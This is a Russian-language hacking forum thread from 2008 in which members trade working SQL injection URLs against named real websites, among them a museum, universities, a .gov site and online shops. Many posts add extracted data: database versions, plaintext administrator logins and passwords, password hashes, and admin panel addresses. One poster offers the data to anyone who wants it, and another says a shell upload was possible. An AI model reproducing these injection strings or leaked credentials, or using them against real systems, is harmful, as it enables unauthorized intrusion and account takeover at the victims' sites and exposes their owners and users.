SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    Национальная Федерация Производителей Фонограмм
    _http://www.nfpf.org/press/index.php?id=-1+union+select+a_login,a_pwd+from+accounts/*
    Зы:Админку не искал)
     
  2. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    AkyHa_MaTaTa
    токо вот где админка?)
     
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    Night club.
    http://www.seone-london.com/master.php?page=event&id=-1061+union+select+1,2,3,4,5,6,7 ,8,9 ,0, 1,2,3,4/*


    Version: 5.0.32-Debian_7etch1~bpo.1-log
    Database : se1admini_se1
    User : se1admini_se1@supremecenter10.co.uk
     
  4. [:|||||:]

    [:|||||:] Banned

    Joined:
    29 May 2008
    Messages:
    68
    Likes Received:
    59
    Reputations:
    11
    Code:
    http://casa-latina.ru/s/?cat=9999+union+select+1,concat(USER(),DATABASE()),3,4,5,6,7/*
     
  5. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    а админка вот она

    http://www.co.mason.wa.us/phpmyadmin/

    =)))
     
  6. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    [:|||||:]
    вобшем.. странная база))

    gisTy
    ну эт хорошо если нету этого ;)
     
    #5526 sabe, 30 May 2008
    Last edited: 30 May 2008
  7. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    89
    Likes Received:
    41
    Reputations:
    0
    Преамбула:
    В общем, купил плеер себе assistant am-241 сегодня... Ну думаю-нифига себе экран, и как тут без видео, начал софтом что на диске конвертить-не работает :( .. Закачал новую версию конвертора, и та же фигня с определением. Потом инструкцию перечитал, ну блин, всё копейка в копейку делаю, ну ни как не принимает.
    Ну, думаю сволочи-отмщу!! :/ искал их сайт и нашёл украинский филиал с багом-вот вам скуля (это ужо амбула :) )

    http://assistant.net.ua/index.php?id=110&tovar=-30+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3A3a,login,pass,id),11,12,13,14,15+from+users/*

    http://assistant.net.ua/admin -саатвецвенна админка

    myst::qwe::5

    логин,пасс,ид^^^

    Эх, украинцы (хоть бы пароли оригинальней придумали, да в хэш загнали, shop ведь)...
    И тут думаю-...чё не в медиа залить попробовать, а в дата и не определить видео файлменеджером на формат и читабельность (ну далеко менять ехать по гарантийке)...И получилось.
    Так вот-дело не в скуле, а видел я когда копал гугл на предмет сабжа, что некий N1ghtmare спрашивал, как же разморочить модель эту на качество и разрешение (http://siemenz.ru/forum/22-285-1)...Вот и подумал, так сказать "скомпоновать", ибо видел человека с похожим ником тут.Если это тот человек и интересно ещё, конечно,то вроде обосновал или в ПМ.У меня работает :) Фильмы смотрю, не жалуюсь :) а шелл заливать не стал-(хоть и можно), стало обидно за себя, что раньше не догадался.
    А модеров прошу минуса не ставить, т.к. по сабжу вроде отписал.Ну если вы на эту тему погуглите-то ничего подобного не найдёте-а ведь много людей купили и инетерсуются.
     
    1 person likes this.
  8. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    www.alwg.cap.gov

    aer.noao.edu

    выводится почемута не хочет кто вывидет мож.


    phoenix.lpl.arizona.edu

    phoenix:tom@rs:mike@woodpilestudios.com никаких md5 пасс в открытом виде )
     
    #5528 ~!DoK_tOR!~, 31 May 2008
    Last edited: 9 Jun 2008
  9. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Autobuilding.ru
    и подбирать)) но вот на это ругается:
    ~!DoK_tOR!~, так интереснее:
    awkes1.lpl.arizona.edu/admin/
     
    #5529 sabe, 31 May 2008
    Last edited: 31 May 2008
    1 person likes this.
  10. На100ящий

    На100ящий Elder - Старейшина

    Joined:
    9 Jan 2008
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    http://www.bmoca.org/artist.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,username,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users/*
    Логин = bmoca
    Пасс = !boulderart!
    Админка вот http://www.bmoca.org/admin
    но ввойти почему то не могу((((( Чё так всё плохо?
     
  11. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,167
    Reputations:
    446
    http://support.jgaa.com/index.php?cmd=ShowProduct&ID=-1/**/union/**/select/**/1,concat(Id,char(20),Name,char(20),Password),3,4,

    5,6,7/**/from/**/User/*

    20121 юзверей ..
     
    2 people like this.
  12. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    _http://www.identidadlatina.com/columnista_det.php?col_id=-37+UNION+SELECT+1,2,3,concat(user,char(58),password)+FROM+mysql.user/*
     
  13. Momiji

    Momiji Elder - Старейшина

    Joined:
    25 Aug 2007
    Messages:
    495
    Likes Received:
    348
    Reputations:
    127
    turtlevsbunny.com
    Code:
    http://turtlevsbunny.com/index.php?id=-2+union+select+1,2,concat_ws(0x3,version(),user(),database()),4,5,6,7,8/*
    
    5.0.24a-standard-logjdigital_news@redondo.dreamhost.comjdigital_news
    Code:
    http://turtlevsbunny.com/index.php?id=-2+union+select+1,2,concat_ws(0x3,cal_lastname,cal_passwd,cal_email,cal_is_admin),4,5,6,7,8+from+calendar.webcal_user/*
    Administrator21232f297a57a5a743894a0e4a801fc3:admin
     
    1 person likes this.
  14. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    www.alyamamah.edu.sa

    aziz:d0970714757783e6cf17b26fb8e2298f:azizsoft@lantech.cc

    www.bupipedream.com


     
    #5534 ~!DoK_tOR!~, 31 May 2008
    Last edited: 31 May 2008
  15. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    ~!DoK_tOR!~

    aziz:112233:azizsoft@lantech.cc

    перебор по ID, удобнее испольховать вместо limit)

    так интереснее: ;)
    www.alyamamah.edu.sa/admin/
     
    #5535 sabe, 31 May 2008
    Last edited: 31 May 2008
  16. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://www.egmont.ru/journals/articles.php?id=4%20union%20select%201,2,3,4,5,6,7,8,concat_ws(0x3A,table_schema,TABLE_NAME),0,1,2,3,4,5,6,7,8,19+FROM+INFORMATION_SCHEMA.TABLES%20limit%2050,1/*
    ничего особенного
     
  17. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    BlackSun - немножко поправил)
    Nightmarе
    это не иньекция.
     
    #5537 sabe, 1 Jun 2008
    Last edited: 1 Jun 2008
  18. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    кому надо берите :\
    Code:
    http://spark-portal.ru/fileinfo.php?id=-111+UNION+SELECT+1,concat_ws(0x3a,username,user_password)+from+sp_users/*
    
    админ форума:
    swt:rb,thgfyr
     
  19. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    maxster
    но где админка?)
     
    #5539 sabe, 1 Jun 2008
    Last edited: 1 Jun 2008
    1 person likes this.
  20. o314um

    o314um Member

    Joined:
    16 Nov 2006
    Messages:
    227
    Likes Received:
    89
    Reputations:
    7
    Билан, гыыыыы)) (нужна регистрация)
    sabe, в твоём случае админки может и не быть. Мот там у админа какие-нить новые кнопочки появляются;-)
     
    #5540 o314um, 1 Jun 2008
    Last edited: 1 Jun 2008
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.